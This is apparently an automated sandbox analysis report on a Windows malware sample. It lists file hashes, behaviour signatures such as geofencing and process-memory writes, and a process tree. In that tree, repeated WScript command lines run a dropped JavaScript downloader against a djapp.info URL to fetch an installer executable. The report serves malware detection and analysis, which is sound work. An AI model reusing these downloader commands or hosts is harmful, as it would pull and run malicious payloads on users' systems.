Analysis

  • max time kernel
    93s
  • max time network
    95s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240611-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13-06-2024 14:17

General

  • Target

    a5fae92c38985ccbf4ed5eabcde1598b_JaffaCakes118.exe

  • Size

    184KB

  • MD5

    a5fae92c38985ccbf4ed5eabcde1598b

  • SHA1

    ccb8d1770b45529184e38d24096691f9af661cce

  • SHA256

    8303ad204366d92b8315feb0a324a0b42b28fd0a7d7f09f86d946cdb18db1482

  • SHA512

    55e20bb7b18d75457d6d24e98f2f55161464af5934f519b3fc05f42e43c91025f989b7c117cbbb5be1481041ccc25295d092f70310bdb5ec0697fa82fa7a9ef6

  • SSDEEP

    3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3B:/7BSH8zUB+nGESaaRvoB7FJNndno

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 5 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 1 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\a5fae92c38985ccbf4ed5eabcde1598b_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\a5fae92c38985ccbf4ed5eabcde1598b_JaffaCakes118.exe"
    1⤵
    • Checks computer location settings
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:2892
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2FDA.js" http://www.djapp.info/?domain=zeHqIXrreq.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGL C:\Users\Admin\AppData\Local\Temp\fuf2FDA.exe
      2⤵
      • Blocklisted process makes network request
      PID:828
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2FDA.js" http://www.djapp.info/?domain=zeHqIXrreq.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGL C:\Users\Admin\AppData\Local\Temp\fuf2FDA.exe
      2⤵
      • Blocklisted process makes network request
      PID:2248
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2FDA.js" http://www.djapp.info/?domain=zeHqIXrreq.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGL C:\Users\Admin\AppData\Local\Temp\fuf2FDA.exe
      2⤵
      • Blocklisted process makes network request
      PID:4288
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2FDA.js" http://www.djapp.info/?domain=zeHqIXrreq.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGL C:\Users\Admin\AppData\Local\Temp\fuf2FDA.exe
      2⤵
      • Blocklisted process makes network request
      PID:2276
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2FDA.js" http://www.djapp.info/?domain=zeHqIXrreq.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGL C:\Users\Admin\AppData\Local\Temp\fuf2FDA.exe
      2⤵
      • Blocklisted process makes network request
      PID:4832

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\fuf2FDA.js

    Filesize

    3KB

    MD5

    3813cab188d1de6f92f8b82c2059991b

    SHA1

    4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

    SHA256

    a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

    SHA512

    83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76